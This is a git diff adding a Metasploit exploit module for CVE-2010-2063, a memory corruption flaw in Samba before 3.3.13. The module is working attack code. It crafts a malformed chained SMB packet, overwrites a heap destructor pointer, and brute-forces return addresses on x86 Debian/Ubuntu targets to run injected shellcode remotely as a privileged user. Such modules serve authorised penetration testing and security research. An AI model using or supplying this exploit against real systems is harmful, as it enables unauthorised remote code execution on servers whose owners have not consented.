diff --git a/modules/exploits/linux/samba/chain_reply.rb b/modules/exploits/linux/samba/chain_reply.rb new file mode 100644 index 0000000000..5a5e477fdd --- /dev/null +++ b/modules/exploits/linux/samba/chain_reply.rb @@ -0,0 +1,194 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Brute + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Samba chain_reply Memory Corruption (Linux x86)', + 'Description' => %q{ + This exploits a memory corruption vulnerability present in Samba versions + prior to 3.3.13. When handling chained response packets, Samba fails to validate + the offset value used when building the next part. By setting this value to a + number larger than the destination buffer size, an attacker can corrupt memory. + Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will + cause the header of the input buffer chunk to be corrupted. + + After close inspection, it appears that 3.0.x versions of Samba are not + exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot + cause memory to be corrupted in an exploitable way. It is possible to corrupt the + heap header of the "InputBuffer", but it didn\'t seem possible to get the chunk + to be processed again prior to process exit. + + In order to gain code execution, this exploit attempts to overwrite a "talloc + chunk" desctructor function pointer. + + This particular module is capable of exploiting the flaw on x86 Linux systems + that do not have the nx memory protection. + + NOTE: It is possible to make explotiation attempts indefinitely since Samba forks + for user sessions in the default configuration. + }, + 'Author' => [ 'jduck' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2010-2063' ], + [ 'OSVDB', '65518' ], + [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ] + ], + 'Privileged' => true, + 'Payload' => + { + 'Space' => 0x600, + 'BadChars' => "", + }, + 'Platform' => 'linux', + 'Targets' => + [ + # tested OK against Debian 5 (samba 3.2.5-4lenny6) + [ 'Linux Heap Brute Force (Debian/Ubuntu)', + { + 'Offset2' => 0x1ff4, + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0x9b280d8 }, + 'Stop' => { 'Ret' => 0x9b480d8 }, + 'Step' => 0x300 + } + } + ], + + [ 'Debugging Target', + { + 'Offset2' => 0x1ff4, + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0xAABBCCDD }, + 'Stop' => { 'Ret' => 0xAABBCCDD }, + 'Step' => 0x300 + } + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 16 2010')) + + register_options( + [ + Opt::RPORT(139) + ], self.class) + end + + # + # Note: this code is duplicated from lib/rex/proto/smb/client.rb + # + # Authenticate using clear-text passwords + # + def session_setup_clear_ignore_response(user = '', pass = '', domain = '') + + data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join(''); + + pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct + self.simple.client.smb_defaults(pkt['Payload']['SMB']) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX + pkt['Payload']['SMB'].v['Flags1'] = 0x18 + pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + pkt['Payload']['SMB'].v['WordCount'] = 10 + pkt['Payload'].v['AndX'] = 255 + pkt['Payload'].v['MaxBuff'] = 0xffdf + pkt['Payload'].v['MaxMPX'] = 2 + pkt['Payload'].v['VCNum'] = 1 + pkt['Payload'].v['PasswordLen'] = pass.length + 1 + pkt['Payload'].v['Capabilities'] = 64 + pkt['Payload'].v['SessionKey'] = self.simple.client.session_id + pkt['Payload'].v['Payload'] = data + + self.simple.client.smb_send(pkt.to_s) + ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) + end + + + def brute_exploit(addrs) + + curr_ret = addrs['Ret'] + begin + print_status("Trying return address 0x%.8x..." % curr_ret) + + connect + self.simple.client.session_id = rand(31337) + + #puts "press any key"; $stdin.gets + + # + # This allows us to allocate a talloc_chunk after the input buffer. + # If doign so fails, we are lost ... + # + 5.times { + session_setup_clear_ignore_response('', '', '') + } + + tlen = 0xc00 + trans = + "\x00\x04" + + "\x08\x20" + + "\xff"+"SMB"+ + "\x74" + # SMBlogoffX + ("\x00" * 3) + # pad + ("\x00" * 8) + # tc->parent, tc->child + ("\x00" * 4) + # tc->refs, must be zero + [addrs['Ret']].pack('V') + # over writes tc->destructor + rand_text(8) + + "\x00\x00\x00\x00"+ + "\xd0\x07\x0c\x00"+ + "\xd0\x07\x0c\x00"+ + "\x00\x00\x00\x00"+ + "\x00\x00\x00\x00"+ + "\x00\x00\xd0\x07"+ + "\x43\x00\x0c\x00"+ + "\x14\x08\x01\x00"+ + "\x00\x00\x00\x00"+ + "\x00\x00\x00\x00"+ + "\x00\x00\x00\x00"+ + "\x00\x00\x00\x00"+ + "\x00\x00\x00\x00"+ + "\x00\x00\x00\x00"+ + "\x00\x00\x00\x00"+ + "\x00\x00\x90" + + # We put the shellcode first, since only part of this packet makes it into memory. + trans << payload.encoded + trans << rand_text(tlen - trans.length) + + # Set what eventaully becomes 'smb_off2' to our unvalidated offset value. + smb_off2 = target['Offset2'] + trans[39,2] = [smb_off2].pack('v') + + sock.put(trans) + + rescue EOFError + rescue => e + print_error("#{e}") + end + + handler + disconnect + end + +end